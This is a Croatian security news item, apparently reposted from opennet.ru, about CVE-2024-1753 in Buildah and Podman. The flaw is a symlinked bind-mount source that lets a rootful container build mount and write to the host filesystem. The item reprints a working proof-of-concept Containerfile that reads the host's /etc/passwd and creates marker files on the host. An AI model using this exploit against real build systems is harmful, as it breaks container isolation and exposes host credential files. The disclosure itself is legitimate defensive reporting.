Ranjivost u Buildah i Podman, koja omogućava zaobilaženje izolacije kontejnera

U paketima Buildah i Podman otkrivena je ranjivost (CVE-2024-1753) koja omogućava potpuni pristup datotečnom sustavu host okruženja tijekom izgradnje kontejnera pokrenutog s pravima root. Na sustavima s aktiviranim SELinuxom pristup host datotečnom sustavu je ograničen na način samo za čitanje. Ispravak je za sada dostupan u obliku zakrpe koja je nekoliko minuta ranije prihvaćena u izvorni kod Buildah-a.

Ranjivost je uzrokovana time što se prilikom montiranja dijelova datotečnog sustava putem naredbe „mount —bind” tijekom izgradnje u fazi RUN, argument s izvorno mapiranim direktorijem (parametar „source=”) ne provjerava na postojanje u korijenskom datotečnom sustavu. Zlonamjerni konfiguracijski datoteka Containerfile može koristiti sliku kontejnera u kojoj je izvorni direktorij za montiranje prikazan kao simbolička poveznica na korijenski datotečni sustav. U ovom slučaju, operacija montiranja će dovesti do montiranja korijenskog datotečnog sustava host okruženja unutar kontejnera, što omogućava potpuno pristup datotečnom sustavu host okruženja tijekom RUN faze putem naredbi „buildah build” ili „podman build”.

Primjer zlonamjernog datoteke Containerfile, čija izgradnja pomoću naredbe „podman build -f ~/Containerfile .” dovodi do prikazivanja sadržaja /etc/passwd i stvaranja datoteka /BIND_BREAKEOUT i /etc/BIND_BREAKOUT2 u host okruženju: FROM alpine as base RUN ln -s / /rootdir RUN ln -s /etc /etc2 FROM alpine RUN echo „ls container root” RUN ls -l / RUN echo „S iskorištavanjem prikazuje host root, a ne kontejnerov root, i stvara /BIND_BREAKOUT u / na hostu” RUN —mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit RUN echo „S iskorištavanjem prikazuje host /etc/passwd, a ne kontejnerov, i stvara /BIND_BREAKOUT2 u /etc na hostu” RUN —mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2

Izvor: opennet.ru

Kupite pouzdan hosting za web stranice s DDoS zaštitom, VPS VDS servere 🔥 Kupite pouzdan hosting za web stranice s DDoS zaštitom, VPS VDS servere | ProHoster